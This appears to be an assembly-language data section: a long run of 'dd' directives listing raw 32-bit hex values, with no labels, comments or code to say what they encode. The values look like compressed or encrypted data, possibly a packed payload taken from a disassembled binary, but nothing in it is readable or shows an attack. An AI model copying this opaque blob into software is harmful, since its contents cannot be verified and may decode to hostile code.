		dd 0FB8AE637h, 0EB76C0F1h, 267B9F2Bh, 874A7C00h, 1C3FF045h
		dd 0CD860050h, 5E6867D0h, 37E8F54Bh, 4A312806h,	0F3047EAh
		dd 5C2DCF94h, 439D6400h, 0C4006FC3h, 4D89E8Ch, 2E1439D7h
		dd 801C0E9Bh, 0F1416975h, 5C008BAFh, 0FA64513Dh, 4614C5Fh
		dd 2D77D097h, 7C81C037h, 0D9006703h, 0E18D7FECh, 9AFA6C61h
		dd 0A31D0094h, 731CE6F1h, 694C3A82h, 25BE0053h,	0E9A0C25Eh
		dd 1864FBA4h, 45A93A27h, 0FA38067h, 8DC34E20h, 0DEE853DAh
		dd 10A02777h, 7379C647h, 284FB400h, 4C6E8422h, 0EC1D3EF5h
		dd 0B16B1Fh, 8ECCB63Dh,	0C60775A0h, 5C5FE045h, 1E0C0C6h
		dd 0B24105EBh, 0E0DC91D3h, 0C5287CE4h, 6A00A8C3h, 65F4230Dh
		dd 0D82C6626h, 771F7948h, 0C351E002h, 0A4C13D04h, 8818A448h
		dd 1205C228h, 0A82CAA0Dh, 0D118D981h, 2F92D1h, 0D740D2E9h
		dd 133024F5h, 0A683B01Ah, 0F88700E4h, 879EA05h,	8C1F67CBh
		dd 807C3604h, 0DD239890h, 0C5BBC7h, 171E2A7Ah, 6A25B1EFh
		dd 5AD2FA00h, 549EFCC3h, 9C340012h, 94D6C4A2h, 0AC0073BEh
		dd 2B6EBBE5h, 0D96AFEh,	1A774FDBh, 74B4E234h, 4191A300h
		dd 0EA58F220h, 0A97201D0h, 0B94D9943h, 0B58CD044h, 0C161F407h
		dd 0AD3039E6h, 51A10h, 9585E375h, 42D2B3FBh, 36BA3F00h
		dd 5CA6C0FEh, 0FE5D58ADh, 0F549F900h, 424870BBh, 544CA300h
		dd 0CD03F74Ah, 6BB3001Dh, 797DFFCh, 0E606DE61h,	2421582Eh
		dd 370B0060h, 9F4657D9h, 9C005330h, 0D60F8D85h,	7951D8FAh
		dd 19DE0347h, 58C9F25Dh, 4FDC2811h, 0FB483B08h,	0DDF91304h
		dd 5183CE06h, 52884EFCh, 0BF29C44Dh, 0BDBE44FAh, 38581447h
		dd 791C5A0Ch, 3314A0ABh, 0D2A08981h, 71F8300h, 2AC003Dh
		dd 184E52D5h, 2100104Bh, 0C971A21Eh, 3ED0D7B0h,	111DBD54h
		dd 0CF058719h, 1D0880E6h, 171F7E5Ch, 0F4FB8430h, 0C7DFFE0Fh
		dd 72BD4093h, 6822C3h, 0AB762EAAh, 0F0949B08h, 61A4B200h
		dd 0C485EC15h, 8B89008Fh, 0C3990F72h, 56053D41h, 42A8530Ch
		dd 0ABC42183h, 6FAF985Ah, 0F11A00DBh, 0C10CBFC7h, 261D4B6Eh
		dd 0E789C2E1h, 0A3E500B8h, 8AB75Ch, 427EC61Ch, 0D6CAC795h
		dd 0F7006572h, 38C810DCh, 74CFB8h, 2E923222h, 5D6376ADh
		dd 0FA810100h, 0F2E079B0h, 0C89A00CDh, 35490C5Bh, 99076C41h
		dd 6676B692h, 4BE0F4D0h, 9BECCCh, 0B8BA4E62h, 79C3EF1Ah
		dd 0CBBBC800h
		dd 5572DAD7h, 0BF7DE1h,	5CC9F9A0h, 54906ECAh, 9F188C3Dh
		dd 8D4374B2h, 98DB72EBh, 0F2E6032Fh, 57380060h,	0AFCED24Ch
		dd 6E0EFE74h, 271948h, 0C234D884h, 5E183187h, 0F4D17810h
		dd 1073CE4h, 7EECDE62h,	88AB9263h, 2A1133h, 0B1641648h
		dd 9501E931h, 36D19900h, 0F4E72DBEh, 756D0773h,	0A010937Fh
		dd 0C0B44179h, 2CEA5400h, 99568403h, 5D040028h,	5A6415F7h
		dd 48C0E823h, 88DB97D0h, 0D9D7003Eh, 4F6EB527h,	6000D857h
		dd 8074101Eh, 8EFD1Ch, 0D9384A34h, 0C2C73D40h, 0EB83900h
		dd 5458E874h, 1A1500ADh, 0D55B5DF6h, 84008AD8h,	0E6849FBh
		dd 0C2C6CCh, 16E5B2C0h,	57181A8Fh, 6CAA2F01h, 0E9E22F0h
		dd 2797AFCh, 69B3AFCDh,	8C8C178Dh, 6D1E9CC6h, 80FBC448h
		dd 55F2CA5Dh, 21D466h, 236B7284h, 0E71BBA8Eh, 82933200h
		dd 0D6125AFh, 8173A2h, 0FE1D6370h, 47D98B7Ch, 0D31D9274h
		dd 58C0049Ch, 5B704A12h, 806B0164h, 0E5C0F77Eh,	553CE04Bh
		dd 0FD007AFAh, 0C1A41833h, 1E1B3E0Ah, 0C67C8Ah,	0DC8BABDBh
		dd 0E6005A15h, 26B3405h, 6DA855h, 0A54B718h, 3D29DD4Bh
		dd 0B31A38h, 5EAE3F5Ch,	0DEFA08h, 21F42004h, 5D8C784Eh
		dd 3426AB00h, 405F9C2Eh, 1A2F1D28h, 41D48011h, 77AD9437h
		dd 0F90E0A00h, 0C3A2E879h, 81DD0072h, 74431C4Dh, 4000FAB2h
		dd 0BD972B48h, 0FDD3B6h, 0E447D52Ah, 9BE50DE7h,	17DB5E00h
		dd 602F0995h, 0DD890475h, 904AAC2Dh, 0F025CA20h, 81007DF2h
		dd 0D1D32BB6h, 2464F16Eh, 0BA3C6BC7h, 5A0074C9h, 6F70420Dh
		dd 8A009CE7h, 0DA21E1A6h, 17064Eh, 0C0E3C36Eh, 0B943425Bh
		dd 0EE4B672Ch, 0EA7A5D05h, 608078C4h, 1692B5DBh, 0F8A4B422h
		dd 871900ABh, 0E50C686Fh, 0B8E017ACh, 0E78600F8h, 113EFFD6h
		dd 0B33A5007h, 8F0079FAh, 355B463h, 5D5228E8h, 93B8DEAEh
		dd 6200D32Dh, 1057B7F8h, 0B811A9h, 0D27E2866h, 0B3169F70h
		dd 0C6B69300h, 38D59A79h, 0B5FC24h, 58201153h, 9B6C7F2Bh
		dd 0CAF3FF00h, 34B360C0h, 0F2DA00FBh, 0A5AD5B9Fh, 0AE036561h
		dd 93815FE8h, 0A880F438h, 0E2D09DDh, 1E8D9556h,	0C0779865h
		dd 326F4CA0h, 1DC2C6A0h, 0CA83EF07h, 8283B3C1h,	340EF835h
		dd 0A2A40010h, 0C7554D41h, 560019ABh, 0B593D201h, 549BA7Eh
		dd 21A1C1Bh, 0EEDFC06Fh, 0FB02C205h, 0ABC0140Dh, 6DA483F4h
		dd 96A990DAh, 0EBED00DFh, 0F31168DCh, 9F057F27h, 6D8DBE8Ch
		dd 0ED34D005h, 6B3003C0h, 0CE20F525h, 1BB90946h, 0C8040D91h
		dd 9DC0819Eh, 57C06068h, 673AF700h, 0E245364Fh,	192007Bh
		dd 965B13A3h, 0AE00A762h, 3C5D21D9h, 4EC63EEh, 3E8958ABh
		dd 0DD78C087h, 6F06F57Eh, 0B47D6985h, 3CB31D18h, 408A63Fh
		dd 80344BD5h, 478DC70h,	848EE000h, 25EE1B3Ah, 2D1C0005h
		dd 0D48A92A4h, 31243253h, 0CE00B4BAh, 0E633093Bh, 78BE0052h
		dd 14DBB61h, 0D50089EDh, 0BCABAA49h, 12A843FBh,	1F756648h
		dd 791FC004h, 0CC8E1E77h, 691DCFF8h, 183E605Ch,	648811B3h
		dd 96612431h, 15C68E78h, 600077C9h, 0A5322A03h,	41016C98h
		dd 11DCF51Ch, 0EAD4BBE3h, 0FC5200DEh, 7B57EB0Fh, 1802F020h
		dd 0E421FE8Fh, 0C6144053h, 1476002Ah, 775B2C07h, 0BC31B73Dh
		dd 116DD01Bh, 0CC8A0F2h, 5747BAh, 6E2C3EB0h, 84A57981h
		dd 1974077Ch, 0B9AFCF03h, 0D87B5302h, 5C5A7213h, 0D7006E0Eh
		dd 0F85D92C2h, 16000F9Ah, 0FCFEDA74h, 0BBD8F9h,	259B7D18h
		dd 4A461FFAh, 0D75BE803h, 750C7B0h, 0B63089A0h,	62B851A6h
		dd 0CEA520A4h, 81887C07h, 0E600E391h, 74B65321h, 0C1970196h
		dd 0BBECA92Ah, 7E74DCB9h, 8404E62Ch, 0E7D55C80h, 0F8B07F6Fh
		dd 3F820066h, 32E0941Ch, 1E3BF60Ah, 6F5D8254h, 8041E22Bh
		dd 5CB459B0h, 2E0C2CFFh, 0C7800E85h, 0F27CED20h, 9800E218h
		dd 5E1DDDDEh, 28D324ABh, 986001h, 0D1454292h, 47632FB4h
		dd 27300400h, 25549505h, 0C050EF4Ch, 0E6BE9B0Eh, 99180080h
		dd 0F9A8B244h, 1009E483h, 809C036Ch, 0A57B1731h, 2C8A00C4h
		dd 717F33AEh, 0B901B343h, 87F0CF32h, 0F1E4C60Eh, 0C2993EACh
		dd 869DDE8Fh, 0A8107020h, 0D107463Eh, 0ACC14B77h, 202B6A00h
		dd 421A0040h, 7E6633CEh, 6C03A138h, 50BC301Bh, 6F6D803Fh
		dd 94A8C52Fh, 70FBE24h,	5CF760C4h, 2210F6h, 0EB485B34h
		dd 0DE75C609h, 3DE93B00h, 2A86371Dh, 0BCEC072Bh, 5DCCA16h
		dd 89D6011Ch, 0CCF9F8D6h, 0E3000154h, 8B636956h, 7FAC78h
		dd 9A04E8DFh, 9EB07D97h, 0AEDED300h, 0B227F808h, 0CF6507E0h
		dd 0EB5105h, 4A52F3C3h,	0F1E9C200h, 7E2CDB78h, 0BAD5005Eh
		dd 8E7B120h, 2009E5Ch, 3CFC87EFh, 0FA22B4h, 0E2A1E81Bh
		dd 0D04D86A3h, 80D12B38h, 0B0CAC9B8h, 7D942D96h, 750700EDh
		dd 0E029DF7Ah, 5F3A106Ch, 0B7C687E2h, 0F0E01D5Dh, 1B5A5h
		dd 4D618CD3h, 0E0727325h, 7AEE3F00h, 8A05885Fh,	80F600D0h
		dd 0F950E419h, 0FCEA4D6Dh, 8032D43Fh, 38AAC0CDh, 1F6771B4h
		dd 0C026748Ah, 9E7E5190h, 4F0F8E7Ch, 0AE60FD44h, 91C5208Ch
		dd 95311h, 0E27B7134h, 0BA433365h, 7510D200h, 1BFFAEE4h
		dd 1DF77CD3h, 407FD6DEh, 0FEB8E67Ah, 0AE008A48h, 9493DAEBh
		dd 0E1C35A5h, 8519A924h, 0E4DDCDC0h, 0BB7F6C4Fh, 58B8D43Ah
		dd 19540096h, 7B4456F5h, 0E88F0033h, 91F065FCh,	9F016885h
		dd 792628F8h, 23CC49B5h, 14E83Eh, 0A8AE1ACAh, 21DDF861h
		dd 0D90068F0h, 64D65FDh, 310C577h, 2C26EFE1h, 0A0A0521Eh
		dd 0C1FD1C0h, 123939B8h, 1400DA9Fh, 0E0365E22h,	330B00C2h
		dd 0C0F3E160h, 0C63EEE4Ch, 2BD7001Bh, 4F1E2328h, 0D2D40032h
		dd 98B32672h, 0AE007B03h, 6940C9Dh, 0A9274Bh, 0FDDE0273h
		dd 0EC185980h, 9E0D5600h, 27CB3315h, 73D10025h,	4DB32A51h
		dd 3A2994A4h, 803F1456h, 9AC31FE6h, 8F4D47h, 0FE90F927h
		dd 219857Ah, 0E0CBD800h, 1E7DF08Ah, 0DDE77583h,	20374010h
		dd 0DF9A4F53h, 0B8770100h, 0C35F8642h, 13D6F23Fh, 0E97AB5h
		dd 2790D9FFh, 0F40074E1h, 18A4D262h, 16850E0h, 0A03A6EB8h
		dd 0BCAD8DFCh, 6F87D58h, 0EA636B00h, 81D3FFC6h,	40672E34h
		dd 6A420072h, 0B806F4F7h, 0B2497B0Fh, 0D42D60C1h, 2E60B5h
		dd 6AD9F16Ch, 197E34ECh, 0E9885E00h, 836F7431h,	45F70017h
		dd 0B04EAB01h, 4F073FD2h, 0CA316590h, 0CCEFE630h, 8C090010h
		dd 0CFD23698h, 6DEE702Ch, 0E9A32900h, 3363A5DAh, 2E4700EFh
		dd 65BA212Fh, 0A200704Bh, 4D5EABC6h, 0F4844EEh,	18CAF6BEh
		dd 80583A0h, 3D00598Eh,	0B0FF3A1Fh, 7C036DE2h, 39EA49h
		dd 0A9922284h, 0B8761207h, 0DF1F5101h, 0BBC8B3B6h, 2856BCDCh
		dd 9099DAh, 3F6526E2h, 0E707A13Bh, 0CC60A40Fh, 0C3C2A034h
		dd 0B58BE1h, 2A14CEFEh,	28F20394h, 29CAC601h, 650A55Ch
		dd 266DF07Ah, 748E1A00h, 4BE4DC60h, 0B5B8006Fh,	7D9431B2h
		dd 4916CA9Fh, 0E11491D0h, 56780074h, 772205DEh,	0A3730389h
		dd 199A3320h, 7108CBB0h, 91AB9F02h, 6804ED67h, 35F7034h
		dd 4110541Ch, 78A87990h, 0EC04DE71h, 599E680Dh,	537E98C0h
		dd 0A6F420h, 88F3BE4Bh,	3E60D5E5h, 55760501h, 89112574h
		dd 1EFDFD4h, 56599675h,	70B59C3Dh, 0A001F84Ch, 0FCDCED12h
		dd 0D2FC72FFh, 31EF0F9h, 0B8043A6Dh, 43C0615Bh,	10C0359Eh
		dd 95AD3602h, 0FBF91FEFh, 1EFA01E7h, 0E42292DCh, 0D101DF5Fh
		dd 0A694FDE4h, 8041F2BDh
		dd 1C325637h, 1A2E6D00h, 691845FFh, 41888F00h, 2A21A2E0h
		dd 0AD93007Eh, 2949C51Fh, 0D6007006h, 71634210h, 0D29184h
		dd 0A60D7245h, 0D4E2BAF4h, 79B3DE01h, 9DCD0485h, 16EF09C4h
		dd 149BD543h, 781E7415h, 424D4023h, 861DD37Dh, 621B4600h
		dd 0A1B4A681h, 6982072Fh, 763203EBh, 6C1ED894h,	8A00494Bh
		dd 0CFAC5FF4h, 0FBC73C9Ah, 61C88580h, 0D55D6A18h, 4E80F300h
		dd 1CD26E65h, 0D03C0038h, 159BE8B9h, 6B0B91B8h,	0FEEBF6h
		dd 7AAFC654h, 0B59E072Ah, 0E308E658h, 0D0E888B7h, 957C5307h
		dd 5198BE00h, 475AFDB1h, 0E3F303FAh, 3396DDCCh,	41C83CD8h
		dd 13F89500h, 0E54D0853h, 0F66F007Eh, 78470CA8h, 4C3B2920h
		dd 2D0648D5h, 8BA14030h, 85A1001Fh, 23ECEACCh, 6B1C4310h
		dd 516C2276h, 800401Ch,	46BE999Ch, 56A30007h, 52446F7Fh
		dd 0F10070E2h, 5837D5B4h, 58FBC3BBh, 0D0090ABh,	3BDD844Dh
		dd 0B50007C6h, 6288B0A6h, 671C8Eh, 7822A430h, 596B898Fh
		dd 0A16AD800h, 359BF997h, 101200EBh, 589809A4h,	0F400C3CEh
		dd 3D3051Eh, 3AA2880Eh,	908F9201h, 0AF206D68h, 0A35E3E18h
		dd 4472A100h, 93DE913Dh, 28F70070h, 2A56DAE0h, 1A3853ADh
		dd 0CA28563h, 0C7C0E958h, 58E05A22h, 0F30063CFh, 1FB4E72Fh
		dd 405C2C25h, 8AF1001Fh, 6A63EE90h, 0B9CE0270h,	353003B8h
		dd 300799C2h, 45E29072h, 0CF005B5Ah, 65B73A8Ch,	312F0757h
		dd 0B21094A5h, 0D1F410BDh, 0DD770EBFh, 0CE203761h, 0A7871486h
		dd 0CCEC4000h, 12ABBE24h, 63D5012Dh, 0C9927798h, 0AE5881A5h
		dd 2F5A96E2h, 0AD487884h, 1078C6EAh, 5BD27712h,	285F1600h
		dd 184593F4h, 216F22ADh, 5B0F64DDh, 0F81A5569h,	163D40h
		dd 2F38BE37h, 963C18CDh, 0D6D73600h, 0EE7F448Fh, 0C8290062h
		dd 0DB71F5F1h, 3A1659A0h, 25008761h, 20F20BA3h,	0AEEE0054h
		dd 89AB6D13h, 88009B2Fh, 94FAE576h, 849817h, 53546649h
		dd 0ADA4B33Dh, 96FC6500h, 2BE05926h, 0D8B80FCBh, 0BD3FCDA9h
		dd 0B4E8A480h, 90CC928Ah, 4A03B173h, 4566E241h,	3050CFD0h
		dd 397AFCADh, 0ED80EC29h, 679C4C7Dh, 35007078h,	0C3ED108h
		dd 0F9B8263h, 5A471584h, 0E32C6C0h, 330A89E7h, 0C00539A1h
		dd 0C7995B80h, 0F0F1D3F0h, 0F7110F3Fh, 0C1813404h, 0F3BA252Bh
		dd 0D34DB4D0h, 72201B7Ch, 0F9410681h, 21D4D183h, 20D6C520h
		dd 241C3DDEh, 0DA988407h, 737F7A11h, 225D177Bh,	9AA00756h
		dd 672435Bh, 20992000h,	8617577Bh, 30B832h, 0D78423C3h
		dd 5BFF96F1h, 6B88FE3Ah, 37BE0050h, 746A355Ah, 0A2AE1E8Ch
		dd 0EC7A1593h, 61707Bh,	1DA5A697h, 0D6C4CB3Eh, 5D693C00h
		dd 0A9B6FA62h, 322118C0h, 1980A1FDh, 0A4B1B003h, 9FBB3A7Ch
		dd 0A873FBF7h, 0E62000DBh, 2E16B738h, 0FFF00CC0h, 0B8B660E9h
		dd 84F6C824h, 0FD8CB83h, 74D9F81Dh, 0AC4300A4h,	7D196EC9h
		dd 150C8E76h, 80730B3Bh, 7220E97h, 0F00A2128h, 0C64507B8h
		dd 9E0B405Dh, 500E8F89h, 0C9B5E4h, 0A56F3B2Ch, 709E27Bh
		dd 75B45D42h, 0BE0DC0AEh, 2AB81A5Ch, 953E5E00h,	9F684C64h
		dd 2A780097h, 0AEC0315Bh, 6D75AD34h, 29F24B00h,	573E9960h
		dd 36A200AAh, 4AD76A40h, 900A1B04h, 4D96DF0h, 0FCE808DCh
		dd 0F4D91B03h, 7A246887h, 0FA3FC0F9h, 0AA60B340h, 21920209h
		dd 74F0E64Ah, 1CEA502Ch, 0A430CE8Ah, 2F0E052Fh,	7D202AFFh
		dd 8ED100BBh, 0B2C1367h, 34332D89h, 651D98DAh, 0A3D5009h
		dd 9B4CFE18h, 78A66923h, 83190462h, 121C86A2h, 0AC10C789h
		dd 0C850CAA3h, 6054BE10h, 8F1516Ah, 5040418h, 21940523h
		dd 0B6440DCAh, 946CFC9h, 7CEA0328h, 2AE8DA36h, 500C2208h
		dd 0A94514A7h, 8091684Ch, 5029DE22h, 0DD3ACA60h, 0E9971CC4h
		dd 18F8C748h, 80703ABEh, 0D2AC0D61h, 0C31AFFC1h, 170866D9h
		dd 7D0421FCh, 131EF761h, 13B1086h, 803919DAh, 82D7026Fh
		dd 0E05968F7h, 281975B9h, 0F2201A6Bh, 4F900E9Eh, 3F66346Fh
		dd 491918FFh, 3739BBE6h, 27D85186h, 301838EFh, 2C498C99h
		dd 0FE4F3C85h, 78C8E680h, 0F0D9633Fh, 0E901049h, 0A6A95579h
		dd 10050Dh, 88BA91A7h, 75FC1583h, 69B19B30h, 0C0E64FA8h
		dd 0AB97349h, 3F001E22h, 0C1795F0Eh, 37A9B05h, 0A38D04F6h
		dd 34F80A19h, 1B0CA170h, 0A9110B31h, 3A9FB859h,	13185A2Eh
		dd 4F1208F2h, 0C1AFD936h, 4F33348h, 39A0F208h, 1000D2Ah
		dd 0A83AEA6Eh, 0F4EC67h, 0B53CB229h, 0E1A5D73Fh, 2F40F48h
		dd 0D08C1F64h, 7A97C020h, 0FCD9C0D1h, 0D2412274h, 0A38C4E50h
		dd 0E9CE16EEh, 0DA0440DEh, 2A3D73DCh, 3D0C595h,	167FAED1h
		dd 7089A9C6h, 850DF0D0h, 203DFB06h, 3C29DE95h, 9A8C7ADFh
		dd 92C1ED97h, 0A204F507h, 0D24488FBh, 0E7A7F487h, 0D1C04A40h
		dd 0B730CDEEh, 1FE18EF1h, 12F08038h, 0FF2CD64h,	486FD2ABh
		dd 0A6DA1B00h, 0AC24C7A9h, 7814046Ah, 2C702410h, 93E63105h
		dd 0A8BF500Ah, 6604AC20h, 19FED94Ch, 7146F880h,	4860018h
		dd 0A0C7E711h, 50C96590h, 312C2533h, 0E10A876h,	0F419F33Dh
		dd 4A6FA101h, 3849F287h, 8F8057C8h, 405EC761h, 10B84AE9h
		dd 81C83B7Ah, 74E61181h, 0EBD073D9h, 4CCD005Ah,	0B9C7772Ch
		dd 0FE00DC0Eh, 171E03C6h, 3AFB71F4h, 0F9A80B39h, 879A0398h
		dd 0A1C025ECh, 0F8473DC1h, 7F3BEE12h, 9F781C6h,	2C9EF656h
		dd 0FBECE2E1h, 0B1C8D4DDh, 0D6F0F830h, 0ED04F65Ah, 0E679616Bh
		dd 0D9605091h, 98ADB801h, 67C8F972h, 954F1329h,	70C445F8h
		dd 32B849AFh, 67836821h, 4636D0E5h, 40DC7649h, 0DC4828D8h
		dd 0C629749Bh, 4E428CCBh, 80250033h, 0DC8188BEh, 0F7120C32h
		dd 1CD05449h, 9AE8D031h, 304EE262h, 0AC1FE424h,	0A1052CA8h
		dd 0D9BD87EEh, 5124C08h, 0CF92E4Fh, 0C1F1F860h,	0A83688h
		dd 0DF9AFA22h, 0C437E1ECh, 0CCAC682Eh, 1064651Dh, 90D97B18h
		dd 0D01D3E7Fh, 0B1E66689h, 88FDD811h, 83FFA929h, 0E26B2857h
		dd 0DB05117Fh, 65FBA11Ah, 0F58AC10h, 99C1F24Dh,	6618BD90h
		dd 10778614h, 19BE00F0h, 0B0B6C1F1h, 80296057h,	107006FAh
		dd 9337E600h, 0A06B3C95h, 6CC558FBh, 0AEF1E801h, 71301127h
		dd 3206F18Fh, 523A7478h, 0D838D1A9h, 2014071Eh,	0C8B05B9Ah
		dd 39249BF3h, 3B5C8848h, 65FCD487h, 0F120A200h,	58F51FD9h
		dd 714503DCh, 341D86F6h, 0F25D33D8h, 462A3890h,	50328431h
		dd 22E310B1h, 70E00E68h, 0F62A0D73h, 451CA8ACh,	0F905F059h
		dd 984168A2h, 7B1DDCE6h, 61881088h, 6378FE20h, 48AA4726h
		dd 0C8505411h, 0F9CF87Eh, 0A11D8FB5h, 50ABE907h, 0D8980AB6h
		dd 0C82C902Ah, 6D98C654h, 0A04B8F00h, 0BC1C3924h, 0E28301A8h
		dd 670CF956h, 8002464h,	86406E00h, 0C5A01C97h, 0B1A53A6Fh
		dd 0BBD1AA30h, 0F8F74057h, 27008078h, 0CBEFFE8Dh, 5065BE8h
		dd 0BB3ED15Eh, 9F708365h, 9B1E78D0h, 0C80E205h,	4090DA28h
		dd 31EB0E1Fh, 4D5C371Ah, 580DD898h, 0AE201407h,	207CB652h
		dd 2915F2DAh, 0E2206BF4h, 6B303ABAh, 0F08915F9h, 1C1CEC2Eh
		dd 0A7718767h, 0CF7BA190h, 0FB0896C0h, 0E3CAC040h, 4DD41Ah
		dd 0C3A0227Ah, 3AE9E4B0h, 0B8A1012Ah, 0B949FB01h, 5E64A8Bh
		dd 70B65CC0h, 21C06F04h, 66EEEAC0h, 0B7007313h,	9380A02Ah
		dd 0A6F094CAh, 0A2E401F0h, 0F80DCD3Dh, 7A3981EFh, 3439BC77h
		dd 901476E8h, 58F8D894h, 9F00ED90h, 0B5DC73E4h,	0E77FB8h
		dd 2BCAB035h, 0A11E66DBh
		dd 3C9AA6FEh, 0F0863D2Eh, 4C6CA241h, 0B7F08050h, 2DC11427h
		dd 3448D4E0h, 2EED9310h, 36403864h, 32B3DEh, 0EC7DC46Ch
		dd 0C379E165h, 1F01B698h, 7AB0FB78h, 0D0A8CA03h, 3C37429Ch
		dd 93C5082h, 7CF02E45h,	0B8D738F1h, 0D2811067h,	0E8518BA7h
		dd 0D82E5C24h, 1DE13186h, 9DE90AF9h, 40848478h,	633556B0h
		dd 0C5B51407h, 0C9B077CCh, 1336B1A2h, 73A1249h,	806A9AB4h
		dd 67DD2099h, 0F97946F0h, 641C0493h, 78A74884h,	0A5948865h
		dd 721C9C03h, 0F8FA3197h, 58C8794Ch, 0EB01C43Ch, 6AB97E67h
		dd 48E85021h, 1C2E443Dh, 0CF58F84Eh, 0C4C082DFh, 2860D15Dh
		dd 0D14A321h, 0D1795824h, 8E9E680Ch, 88A8D108h,	0D0069D2h
		dd 8F4C02EAh, 4418431h,	420F9FC9h, 0FA58908Bh, 8300D4BAh
		dd 0B1BB98FFh, 0C116ECh, 1971A25h, 3484C30Eh, 0A962A135h
		dd 5FEC30C0h, 4473263Bh, 27C1E24h, 670E2978h, 7500E064h
		dd 0BB8A7362h, 7ED485h,	42C8C1E1h, 153C0A80h, 381A310Fh
		dd 0D56964DEh, 80A4B483h, 2CF95527h, 4020419Eh,	70405008h
		dd 0B58C9713h, 60002034h, 4D403AC9h, 4E832AB6h,	0F9D0008Ch
		dd 5633B84Ch, 0BD00E307h, 0C0D49AAAh, 0C9CF82h,	4A39E05Ch
		dd 461128E8h, 0C27AF091h, 35F098F9h, 2D6B0198h,	73F8C66Ah
		dd 5C46A156h, 77406D01h, 0D187497h, 3F5A90A8h, 1DA34000h
		dd 1808DFD5h, 21C30070h, 6A7959FAh, 0EF026EBAh,	1D2AA882h
		dd 0E5B049AEh, 1DE02436h, 2200E535h, 0D3D2DC17h, 0E71A8B7h
		dd 102DEF88h, 0B41214C0h, 0D6747595h, 6DB338h, 6FD1F058h
		dd 33719CDEh, 62080E59h, 469A2102h, 0E035D3C5h,	0CABFACEh
		dd 0DF87CBA0h, 0C0001920h, 643A7D11h, 35E03BEh,	9A888684h
		dd 40064144h, 0DCA84220h, 13D40309h, 0D7E3F608h, 84016106h
		dd 65182AEh, 0C80605EBh, 6D0F1186h, 66D23C1Ah, 51AC8Fh
		dd 754BF67Ch, 71946688h, 0DB78AB00h, 7BA2458Eh,	95051C23h
		dd 46DFC006h, 0B06EA004h, 40915D18h, 17E9441h, 0FC2D86BEh
		dd 8C35F21Fh, 20B69709h, 0BBB874h, 0F17631AAh, 71D3AE0Dh
		dd 0E642C000h, 16CBE7C2h, 12F7003Dh, 0C1D770A6h, 20016CADh
		dd 90685DB4h, 48BC85CCh, 19D89300h, 4B30FB7Dh, 9E64133h
		dd 7321008Eh, 0AF386058h, 2AEC2C17h, 0CA008498h, 7DDF65E0h
		dd 3A1BE50h, 0F7DCB1F5h, 0D5B06B34h, 9932DBC1h,	308B71DFh
		dd 580819C9h, 5852C8FEh, 1F486170h, 0F54600A4h,	737B0DD0h
		dd 0CB631EBFh, 98C88ADEh, 2080BEBCh, 0DBEB4897h, 3513FA0h
		dd 0DE1FD0FCh, 768A4380h, 83221E97h, 3E1D40D3h,	4281CA23h
		dd 0DE00E02h, 0A0A93510h, 599D338Ch, 0B04130h, 4176F7C8h
		dd 0B1440284h, 1C2C2D84h, 2182BD19h, 0B7B17662h, 679F90C0h
		dd 0F1616A00h, 7C1B0229h, 52491D9h, 226807EEh, 0F6308AC4h
		dd 0FBDF0819h, 0B1645060h, 1F764540h, 1D0FAA61h, 0EC91ED57h
		dd 3C8959EFh, 0F1304DDCh, 14442811h, 38DDD90Fh,	7DD2A05Bh
		dd 0A48F6842h, 19CD0538h, 61E8FE54h, 10B8FCh, 1904FCh
		dd 255DF1C4h, 0BD30EE0Fh, 0FB034273h, 0FC74A3F2h, 0D871532Eh
		dd 0FC30CFA2h, 60403B51h, 7FE7AE8Ah, 36D75898h,	90183F44h
		dd 3A99032Ch, 317E0247h, 0F70135A8h, 0E8500600h, 0EB457C19h
		dd 908B0B36h, 0B20098A2h, 89DA313h, 0FF8E3Ch, 0A432BC3Dh
		dd 7FF9EF52h, 0CF60085h, 862B9250h, 6B0084A9h, 0F796EE53h
		dd 0FC212Ch, 0E3D6E4BAh, 0FA83EFB1h, 0A6FD2B00h, 962A6E27h
		dd 43820095h, 0E89932ABh, 58000A79h, 0A2F39CA0h, 45AC22h
		dd 0B4F2EA0Eh, 91BF299Fh, 27B62E00h, 0FF8C88F5h, 0A8207AFh
		dd 0D0A6BE2Fh, 2368C354h, 7C7D5C1Dh, 0A7B700BFh, 0B4F81A86h
		dd 0B5DB0009h, 32A09750h, 0B6006C6Eh, 4D8024F2h, 666762h
		dd 0F0E308D7h, 0FD7C7060h, 41839B50h, 0BE76F300h, 0F9E49A32h
		dd 8D8A00CAh, 1475EFDAh, 0B800BD96h, 7D6DAF92h,	0AF79478h
		dd 521FA3B2h, 0BD320180h, 792E3D4h, 742723D4h, 0E8E43093h
		dd 0D00A0862h, 73449DB5h, 29962341h, 0E1A8D3F0h, 6E0009A6h
		dd 0F1FD1B2Eh, 7D4D25Ah, 0B93612A3h, 6BE2A1B0h,	57B6D8F3h
		dd 0AF4040DFh, 88EFDF1Ch, 23390707h, 86A07B6Ch,	2008084h
		dd 0C860662Ah, 500497A3h, 7C3806Eh, 9396AE7Dh, 8078E009h
		dd 3C263584h, 700310FDh, 0C0C5B8A0h, 0CCBBABh, 85542DA7h
		dd 9A73916Bh, 0BBC3Fh, 37657523h, 3D012503h, 7B0134DFh
		dd 69A5C8A2h, 6C3D30D2h, 0CE818405h, 3181C171h,	0A08086B1h
		dd 1A9DAB36h, 0D700FFEAh, 34DEED43h, 0E7B61Ch, 0BF78D255h
		dd 4EF173AFh, 29F44018h, 484A6E80h, 2A038350h, 2D33E934h
		dd 8937DBF0h, 151C126h,	82007317h, 0BE8E1E93h, 0E560B5Bh
		dd 54807B5Ch, 0B2B167B4h, 2393EF0Fh, 76424255h,	333A40ABh
		dd 0A91F0C06h, 45408253h, 98626000h, 0EC5F7720h, 0B7AD002Ch
		dd 38FDA4DFh, 0F8005740h, 8CA6EA75h, 0F0CF913Eh, 4932EABFh
		dd 29014009h, 0DECE76ECh, 72CC36D1h, 9C69748h, 9122F063h
		dd 441334CCh, 143C97D0h, 19F5EB00h, 5D0362F9h, 0F38F2CC8h
		dd 6FC48770h, 3D407012h, 0A290A20Eh, 2F9BF003h,	801E030Bh
		dd 0B0CB4C31h, 0FA620078h, 6626DA97h, 0DB16476Dh, 4F01F29Bh
		dd 0A6A1EA76h, 1DE227E4h, 40E92609h, 0EFC9EDF1h, 0B700D44Fh
		dd 2A68165Fh, 7C841181h, 0EEF40070h, 0C85A4AC9h, 0FD1F0122h
		dd 0B80941Ch, 0A2B2B0BCh, 0CBB401C0h, 0F8AE9558h, 0EF30808Eh
		dd 70EBB909h, 87860FA2h, 0C4808A1Eh, 0BF6361B7h, 0BE09C071h
		dd 68BC9h, 0F5B4FD0Ch, 70F060CCh, 2CDBFB50h, 727B460Bh
